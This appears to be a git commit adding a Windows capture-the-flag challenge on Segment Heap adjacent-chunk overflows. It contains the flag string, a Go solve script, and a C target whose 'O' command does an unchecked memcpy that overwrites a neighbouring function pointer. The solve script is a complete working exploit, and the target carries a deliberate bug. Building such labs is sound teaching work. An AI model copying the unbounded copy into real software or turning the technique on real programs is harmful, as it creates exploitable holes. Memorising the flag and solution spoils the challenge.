v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
flag{segment_heap_adjacent_chunk_overflow}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,164 @@
|
||||
/*
|
||||
Solve script for heap_segment.exe (see src/heap_segment.c): an
|
||||
adjacent-chunk heap overflow on a real Segment-Heap-backed process heap
|
||||
(the target opts in via an embedded manifest; GetProcessHeap() really is
|
||||
Segment Heap, confirmed in the C source's own startup banner).
|
||||
|
||||
Segment Heap's "Small" allocator packs same-size allocations densely into
|
||||
4KB pages, but *not* in allocation order -- the offset within the page is
|
||||
randomized per allocation (empirically verified while building this:
|
||||
twenty sequential 32-byte allocations land all over a single page, not
|
||||
back-to-back). So instead of assuming adjacency, this script leaks every
|
||||
allocation's address (the target's A command happens to print it, the
|
||||
same "legitimate bookkeeping output doubles as the leak primitive" pattern
|
||||
as examples/heap_lfh) and searches the leaked addresses for a pair that
|
||||
really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of
|
||||
20 always contains at least one such pair on this machine/OS build.
|
||||
|
||||
Once found: id_a's name buffer is overflowable past its own 32 bytes
|
||||
straight into id_b's struct, landing on id_b's `describe` function
|
||||
pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's
|
||||
own allocation start. The spray/pair-search loop is winpwn.SprayAndFind
|
||||
(spray.go) -- the same primitive examples/heap_lfh uses for a structurally
|
||||
different relation (equality against one known target, instead of a
|
||||
distance check across everything sprayed).
|
||||
|
||||
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
|
||||
designing your own heap challenge): "20 always contains a pair" and the
|
||||
profileSize=32 distance check are facts about *this exact struct, on this
|
||||
exact Windows build*, measured empirically by spraying it for real -- not
|
||||
something Segment Heap guarantees as a stable contract. Segment Heap's
|
||||
"Small" allocator's packing behavior is liable to differ across Windows
|
||||
versions (and possibly even across runs on heavily fragmented heaps).
|
||||
Anyone reusing this adjacent-overflow approach for a different struct size
|
||||
or a different machine should re-run the same empirical step this script
|
||||
already does at runtime -- spray N, leak every address, check for the
|
||||
expected distance -- rather than hardcoding a spray count or an offset
|
||||
copied from this writeup and assuming it transfers.
|
||||
*/
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func parseIDAndAddr(line []byte) (int, uint64, error) {
|
||||
idIdx := bytes.Index(line, []byte("id="))
|
||||
addrIdx := bytes.Index(line, []byte("addr=0x"))
|
||||
if idIdx == -1 || addrIdx == -1 {
|
||||
return 0, 0, fmt.Errorf("unparseable line %q", line)
|
||||
}
|
||||
idPart := bytes.Fields(line[idIdx+len("id="):])[0]
|
||||
id, err := strconv.Atoi(string(idPart))
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):])
|
||||
addr, err := strconv.ParseUint(string(addrPart), 16, 64)
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
return id, addr, nil
|
||||
}
|
||||
|
||||
const profileSize = 32 // sizeof(Profile): char name[24] + void* describe
|
||||
|
||||
func main() {
|
||||
pf, err := winpwn.OpenPE("heap_segment.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("OpenPE: %v", err)
|
||||
}
|
||||
winRVA, err := pf.GetProcAddress("win")
|
||||
if err != nil {
|
||||
log.Fatalf("win() not found: %v", err)
|
||||
}
|
||||
base, err := pf.ImageBase()
|
||||
if err != nil {
|
||||
log.Fatalf("ImageBase: %v", err)
|
||||
}
|
||||
winAddr := base + winRVA
|
||||
pf.Close()
|
||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||
|
||||
tube, err := winpwn.Spawn("heap_segment.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
readyLine, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
fmt.Printf("[*] %s", readyLine)
|
||||
|
||||
// winpwn.SprayAndFind with no seed: every newly sprayed allocation is
|
||||
// checked against everything sprayed before it for the one relation
|
||||
// that matters here -- "exactly sizeof(Profile) apart" -- rather than
|
||||
// collecting all addresses first and searching afterward.
|
||||
const spray = 20
|
||||
a, b, _, ok, err := winpwn.SprayAndFind(
|
||||
nil,
|
||||
spray,
|
||||
func(i int) (winpwn.SprayResult[uint64], error) {
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
||||
}
|
||||
resp, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
||||
}
|
||||
id, addr, err := parseIDAndAddr(resp)
|
||||
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
|
||||
},
|
||||
func(x, y uint64) bool {
|
||||
d := int64(y) - int64(x)
|
||||
return d == profileSize || d == -profileSize
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
log.Fatalf("spray: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray)
|
||||
}
|
||||
|
||||
// match() is direction-agnostic (it only checks |distance|), so the
|
||||
// attacker (the lower address -- it overflows *forward* into the
|
||||
// victim) needs to be picked out by comparing the two found keys, not
|
||||
// just trusting which one SprayAndFind happened to label "older".
|
||||
attackerID, victimID := a.ID, b.ID
|
||||
attackerAddr, victimAddr := a.Key, b.Key
|
||||
if a.Key > b.Key {
|
||||
attackerID, victimID = b.ID, a.ID
|
||||
attackerAddr, victimAddr = b.Key, a.Key
|
||||
}
|
||||
fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n",
|
||||
attackerID, attackerAddr, victimID, victimAddr)
|
||||
|
||||
// 56 bytes of filler to walk past the attacker's own 32-byte
|
||||
// allocation and the victim's name[24], landing exactly on the
|
||||
// victim's `describe` field (offset 24 within the victim, i.e.
|
||||
// offset 32+24=56 from the attacker's allocation start).
|
||||
payload := bytes.Repeat([]byte{0x41}, 56)
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
payloadHex := winpwn.Enhex(payload)
|
||||
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
resp, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
fmt.Printf("[*] overflow response: %s", resp)
|
||||
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
/*
|
||||
heap_segment -- adjacent-chunk heap overflow on Windows' real Segment
|
||||
Heap (not NT Heap/LFH). The process opts into Segment Heap via an
|
||||
embedded application manifest (<heapType>SegmentHeap> -- see
|
||||
heap_segment.manifest/heap_segment.rc, the only Microsoft-documented way
|
||||
to force it for a specific image without touching machine-wide settings),
|
||||
so GetProcessHeap() itself is Segment-Heap-backed: confirmed empirically
|
||||
while building this example by reading the heap handle's own Signature
|
||||
field (*(DWORD*)(GetProcessHeap()+0x10) == 0xddeeddee for Segment Heap,
|
||||
0xffeeffee for classic NT Heap).
|
||||
|
||||
The bug: O (overflow) writes attacker-controlled, attacker-LENGTH bytes
|
||||
starting at a Profile's address with no check that the length fits the
|
||||
32-byte allocation -- a plain unchecked memcpy. Segment Heap's famous
|
||||
mitigation (full physical isolation of heap *metadata* from user *data*,
|
||||
see USAGE.md's walkthrough) means this overflow can never reach allocator
|
||||
control structures, but it can still walk straight into whatever user data
|
||||
happens to be allocated right after it in the same page -- and Segment
|
||||
Heap's "Small" allocator packs same-size allocations densely into 4KB
|
||||
pages, just at a randomized offset within the page rather than in
|
||||
allocation order. Leak enough addresses (the A command leaks each one) and
|
||||
some pair will be exactly 32 bytes apart (empirically: spray>=10 finds
|
||||
one in every trial run while building this).
|
||||
|
||||
Protocol (one command per line, stdout unbuffered):
|
||||
A <text> allocate a Profile{char name[24]; void(*describe)(const
|
||||
char*);}, fills name (truncated to 23 chars + NUL), sets
|
||||
describe to the real print function.
|
||||
-> "OK id=<n> addr=0x<hex>"
|
||||
O <id> <hex> write decode(hex) raw bytes starting at profiles[id]
|
||||
(i.e. at name[0]) -- NOT bounds-checked against the
|
||||
32-byte allocation.
|
||||
-> "OK"
|
||||
D <id> call profiles[id]->describe(profiles[id]->name).
|
||||
Q quit.
|
||||
*/
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
typedef struct {
|
||||
char name[24];
|
||||
void (*describe)(const char *);
|
||||
} Profile;
|
||||
|
||||
#define MAX_PROFILES 4096
|
||||
static Profile *g_profiles[MAX_PROFILES];
|
||||
static int g_profile_count = 0;
|
||||
|
||||
static void real_describe(const char *name) {
|
||||
printf("profile: %s\n", name);
|
||||
}
|
||||
|
||||
__declspec(dllexport) void win(const char *ignored) {
|
||||
HANDLE hFile;
|
||||
char buffer[256];
|
||||
DWORD bytesRead;
|
||||
|
||||
printf("you just got code execution via an adjacent-chunk overflow\n");
|
||||
|
||||
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("Cannot open file.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
|
||||
buffer[bytesRead] = '\0';
|
||||
printf("%s", buffer);
|
||||
}
|
||||
printf("\n");
|
||||
CloseHandle(hFile);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
static int hexval(char c) {
|
||||
if (c >= '0' && c <= '9') return c - '0';
|
||||
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
|
||||
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Decodes hex into out, returns the number of bytes decoded (0 on bad input).
|
||||
No length cap here -- the caller (the O command) is the vulnerable site. */
|
||||
static int unhex(const char *hex, unsigned char *out, int max_out) {
|
||||
int n = (int)strlen(hex);
|
||||
if (n % 2 != 0) return 0;
|
||||
int len = n / 2;
|
||||
if (len > max_out) return 0; /* still capped by our own receive buffer, not by the target's allocation */
|
||||
for (int i = 0; i < len; i++) {
|
||||
int hi = hexval(hex[i * 2]);
|
||||
int lo = hexval(hex[i * 2 + 1]);
|
||||
if (hi < 0 || lo < 0) return 0;
|
||||
out[i] = (unsigned char)((hi << 4) | lo);
|
||||
}
|
||||
return len;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
|
||||
unsigned int sig = *(unsigned int *)((char *)GetProcessHeap() + 0x10);
|
||||
printf("heap_segment ready (heap signature 0x%08x)\n", sig);
|
||||
|
||||
char line[1024];
|
||||
while (fgets(line, sizeof(line), stdin)) {
|
||||
line[strcspn(line, "\r\n")] = 0;
|
||||
|
||||
if (line[0] == 'A' && line[1] == ' ') {
|
||||
if (g_profile_count >= MAX_PROFILES) {
|
||||
printf("ERR too many profiles\n");
|
||||
continue;
|
||||
}
|
||||
Profile *p = (Profile *)HeapAlloc(GetProcessHeap(), 0, sizeof(Profile));
|
||||
if (!p) { printf("ERR alloc failed\n"); continue; }
|
||||
strncpy(p->name, line + 2, sizeof(p->name) - 1);
|
||||
p->name[sizeof(p->name) - 1] = 0;
|
||||
p->describe = real_describe;
|
||||
int id = g_profile_count++;
|
||||
g_profiles[id] = p;
|
||||
printf("OK id=%d addr=0x%p\n", id, (void *)p);
|
||||
} else if (line[0] == 'O' && line[1] == ' ') {
|
||||
int id;
|
||||
char hexbuf[513];
|
||||
if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) {
|
||||
printf("ERR usage: O <id> <hex>\n");
|
||||
continue;
|
||||
}
|
||||
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
|
||||
printf("ERR bad id\n");
|
||||
continue;
|
||||
}
|
||||
unsigned char raw[256];
|
||||
int n = unhex(hexbuf, raw, sizeof(raw));
|
||||
if (n == 0) {
|
||||
printf("ERR bad hex\n");
|
||||
continue;
|
||||
}
|
||||
/* THE BUG: no check that n <= sizeof(Profile). */
|
||||
memcpy(g_profiles[id], raw, n);
|
||||
printf("OK\n");
|
||||
} else if (line[0] == 'D' && line[1] == ' ') {
|
||||
int id = atoi(line + 2);
|
||||
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
|
||||
printf("ERR bad id\n");
|
||||
continue;
|
||||
}
|
||||
g_profiles[id]->describe(g_profiles[id]->name);
|
||||
} else if (line[0] == 'Q') {
|
||||
break;
|
||||
} else {
|
||||
printf("ERR unknown command\n");
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings xmlns:ws2020="http://schemas.microsoft.com/SMI/2020/WindowsSettings">
|
||||
<ws2020:heapType>SegmentHeap</ws2020:heapType>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1 @@
|
||||
1 24 "heap_segment.manifest"
|
||||
Binary file not shown.
Reference in New Issue
Block a user